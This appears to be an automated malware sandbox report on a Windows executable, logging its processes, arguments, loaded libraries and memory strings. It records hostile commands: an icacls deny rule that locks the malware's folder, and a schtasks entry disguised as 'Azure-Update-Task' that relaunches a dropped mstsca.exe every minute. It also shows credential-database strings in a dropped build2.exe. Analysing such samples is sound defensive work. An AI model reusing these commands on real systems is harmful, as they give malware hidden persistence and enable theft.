Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: IsTask	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: --Task	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: --AutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: --Service	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: X1P	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: --Admin	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: runas	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: x2Q	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: x*P	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: C:\Windows\	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: D:\Windows\	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: 7P	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: %username%	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: F:\	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: --Admin	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: IsAutoStart	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: IsTask	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: --ForNetRes	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: IsAutoStart	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: IsTask	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: --Task	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: --AutoStart	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: --Service	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: X1P	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: --Admin	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: runas	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: x2Q	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: x*P	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: C:\Windows\	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: D:\Windows\	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: 7P	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: %username%	6_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: F:\	6_2_00419F90

Source: rq0mVjR9ar.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: build2.exe, 0000000A.00000002.2359644104.0000000000B24000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2359644104.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: rq0mVjR9ar.exe

Virustotal: Detection: 42%

Source: rq0mVjR9ar.exe	String found in binary or memory: set-addPolicy
Source: rq0mVjR9ar.exe	String found in binary or memory: id-cmc-addExtensions
Source: rq0mVjR9ar.exe	String found in binary or memory: set-addPolicy
Source: rq0mVjR9ar.exe	String found in binary or memory: id-cmc-addExtensions
Source: rq0mVjR9ar.exe	String found in binary or memory: set-addPolicy
Source: rq0mVjR9ar.exe	String found in binary or memory: id-cmc-addExtensions
Source: rq0mVjR9ar.exe	String found in binary or memory: set-addPolicy
Source: rq0mVjR9ar.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

File read: C:\Users\user\Desktop\rq0mVjR9ar.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\rq0mVjR9ar.exe "C:\Users\user\Desktop\rq0mVjR9ar.exe"
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\Desktop\rq0mVjR9ar.exe "C:\Users\user\Desktop\rq0mVjR9ar.exe"
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\Desktop\rq0mVjR9ar.exe "C:\Users\user\Desktop\rq0mVjR9ar.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\Desktop\rq0mVjR9ar.exe "C:\Users\user\Desktop\rq0mVjR9ar.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe --Task
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe --Task
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe"
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Process created: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe"
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Process created: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe"
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\Desktop\rq0mVjR9ar.exe "C:\Users\user\Desktop\rq0mVjR9ar.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\Desktop\rq0mVjR9ar.exe "C:\Users\user\Desktop\rq0mVjR9ar.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\Desktop\rq0mVjR9ar.exe "C:\Users\user\Desktop\rq0mVjR9ar.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe --Task
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Process created: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe"
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Process created: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe"
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Process created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Section loaded: wkscli.dll	Jump to behavior
